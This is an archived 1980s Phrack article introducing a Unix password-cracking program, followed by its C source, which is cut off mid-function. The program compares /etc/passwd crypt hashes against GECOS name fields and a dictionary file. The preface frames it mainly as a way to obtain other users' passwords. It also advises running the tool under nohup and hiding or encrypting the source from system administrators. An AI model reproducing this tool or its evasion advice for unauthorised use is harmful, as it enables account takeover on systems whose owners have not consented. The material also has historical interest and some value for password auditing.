💾 Archived View for aphrack.org › issues › phrack22 › 6.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume Two, Issue 22, File 6 of 12 ()()()()()()()()()()()()()()()()()()()()()()()()()()() ()() ()() () Yet Another File On Hacking Unix! () () ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ () () By () () () () >Unknown User< () () A special "ghost" writer of Phrack Inc. () ()() ()() ()()()()()()()()()()()()()()()()()()()()()()()()()()() Greetings from The Unix Front... I am unable to use my real alias since it has now become too well known and others are able to associate it with my real name. Let us just say that I have been around for a long time, and can you say "Code Buster"? Obsolete now, nonetheless taught many how to write better ones. The following C code will enable you to ferret out poorly constructed passwords from /etc/passwd. What I mean by poor passwords is obvious, these consist of passwords based on the user's name, and even words found in the dictionary. The most secure password is one that has been constructed from nonsense words, odd combinations of one word, with control characters and numbers thrown in. My program is not able to deal with a decent password, nor did I intend it to. To write something capable of dealing with a secure password would have been incredibly complex, and take weeks to run on even the fastest of cpu's. Locate a dictionary file from your nearest Unix system. This is commonly located in /usr/dict/words. These files will vary from 200K to 5 Megabytes. The more words your dictionary file has in it, the more effective this program will be. The program can do a quick scan based on just the identifying name fields in /etc/passwd or perform a complete scan using the dictionary file. It basically compares one /etc/passwd entry to each word in your dictionary file, until it finds the password, or reaches eof,and begins the scan on the next password. It will take days to process a large /etc/passwd file. When you re-direct the output to a log file, make sure you run some sort of cron daemon that will extract any decoded passwords, and then nulls the log file. I can suggest /bin/nohup for this task since you can log off and the task continues to run. Otherwise, the log file can grow to be megabytes depending on the actual size of the /etc/passwd file and your dictionary..This program,while written with one purpose in mind (obtaining passwords),is also a positive contribution to Unix System Administrators. I run this on several systems nightly, to protect myself! Scanning for user passwords that are easy to hack, and for other insecure conditions ensures that my own systems will not be breached. Unix is still not a secure system, and restoring gigabyte file systems is no fun. I have made the software as portable as possible. It is known to compile on all BSD variants, and System V. I don't suggest that you leave the source laying around on just any system, most System Administrators are known to be particularly nosy <smile>. If you do, for God's sake crypt the damned file. These are hard times we have fallen into. The thrill of the telephone network is no more. Mere experimentation is riskier than ever. There is little left, but intellectual challenges in mastering system software and writing interesting software for most of us. As we all get older, the risks have grown less attractive versus the few gains. Someday when I am able to transfer five or six million into my account in Zurich, I may chance it. Until then, may I take the time to wish you all good luck in your endeavors, and be careful! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - /* Beginning of Program */ include <sys/stdio.h> include <sys/ctype.h> include <sys/signal.h> define TRUE 1 define FALSE 0 int trace = FALSE; char *dict = NULL; char *word = NULL; char *pwdfile = NULL; char *startid = NULL; FILE *pwdf; FILE *dictf; FILE *logf; char nextword[64]; char preread = FALSE; char pbuf[256]; char id[64]; char pw[64]; char goodpw[64]; main(argc,argv) int argc; char **argv; { char *passwd; char *salt; char *s; char *crypt(); char xpw[64]; char pw2[64]; char dummy[64]; char comments[64]; char shell[64]; char dictword[64]; char gotit; char important; extern int optind; extern char *optarg; int option; int cleanup(); int tried; long time(); signal(SIGTERM,cleanup); signal(SIGQUIT,cleanup); signal(SIGHUP,cleanup); while ((option = getopt(argc,argv, "d:i:p:tw:")) != EOF) switch(option) { case 'd': dict = optarg; break; case 'i': startid = optarg; break; case 'p': pwdfile = optarg; break; case 't': ++trace; break; case 'w': word = optarg; break; default: help(); } if (optind < argc) help(); if (!pwdfile) pwdfile = "/etc/passwd"; openpw(); if (dict) opendict(); while(TRUE) { if (preread) preread = FALSE; else if (!fgets(pbuf,sizeof(pbuf),pwdf)) break; parse(id,pbuf,':'); parse(xpw,pbuf,':'); parse(pw,xpw,','); if (*pw && strlen(pw) != 13) continue; parse(dummy,pbuf,':'); important = (atoi(dummy) < 5); parse(dummy,pbuf,':'); parse(comments,pbuf,':'); gotit = !*pw; if (!gotit && *comments) { strcpy(pw2,pw); do { sparse(pw2,comments); if (!*pw2) continue; if (allnum(pw2)) continue; gotit = works(pw2); if (!gotit) if (hasuc(pw2)) { lcase(pw2); gotit = works(pw2); } } while (!gotit && *comments); if (!gotit) gotit = works(id); } if (!gotit && dict) { resetdict(); tried = 0; do { if (works(nextword)) { gotit = TRUE; break; } if (++tried == 100) { printf(" <%8s> @ %ld\n",nextword,time(NULL)); fflush(stdout); tried = 0; } } while(readdict()); } if (gotit) { if (*pw) printf("** %8s \t- Password is %s\n",id,goodpw); else { parse(shell,pbuf,':'); parse(shell,pbuf,':'); shell[strlen(shell)-1] = 0; printf(" %8s \t- Open Login (Shell=%s)\n",id,shell); } if (important) printf("-------------------------------------------- Loo k!\n"); } else printf(" %8s \t- Failed\n",id); } cleanup(); exit(0); } help() { fprintf(stderr,"Scan by The Unix Front\n"); fprintf(stderr,"usage: scan [-ddict] [-iid] [-ppfile] [-t] [-wword]\n"); exit(1); } cleanup() { if (logf) fclose(logf); } openpw() { char dummy[256]; char id[256]; if (!(pwdf = fopen(pwdfile,"r"))) { fprintf("Error opening specified password file: %s\n",pwdfile); exit(2); } if (startid) { while(TRUE) { if (!(fgets(pbuf,sizeof(pbuf),pwdf))) { fprintf(stderr,"Can't skip to id '%s'\n",startid); exit(3); } strcpy(dummy,pbuf); parse(id,dummy,':'); if (!strcmp(id,startid)) { preread = TRUE; return; } } } } /* Where's the dictionary file dummy! */ opendict() { if (!(dictf = fopen(dict,"r"))) { fprintf("Error opening specified dictionary: %s\n",dict); exit(4); } } resetdict() { char *p; rewind(dictf); if (word) { while(TRUE) { if (!(fgets(nextword,sizeof(nextword),dictf))) { fprintf(stderr,"Can't start with specified word '%s'\n", word); exit(3); } if (*nextword) { p = nextword + strlen(nextword); *--p = 0; } if (!strcmp(word,nextword)) return; } } else if (!(fgets(nextword,sizeof(nextword),dictf))) fprintf(stderr,"Empty word file: %s\n",dict); else if (*nextword) { p = nextword + strlen(nextword); *--p = 0; } } readdict() { int sts; char *p; sts = fgets(nextword,sizeof(nextword),dictf); if (*nextword) { p = nextword + strlen(nextword); *--p = 0; } return sts; } works(pwd) char *pwd; { char *s; if (trace) printf(">> %8s \t- trying %s\n",id,pwd); s = crypt(pwd,pw); if (strcmp(s,pw)) return FALSE; strcpy(goodpw,pwd); return TRUE; } parse(s1,s2,t1) register char *s1; register char *s2; char t1; { char *t2; t2 = s2; while (*s2) { if (*s2 == t1) { s2++; break; } *s1++ = *s2++; }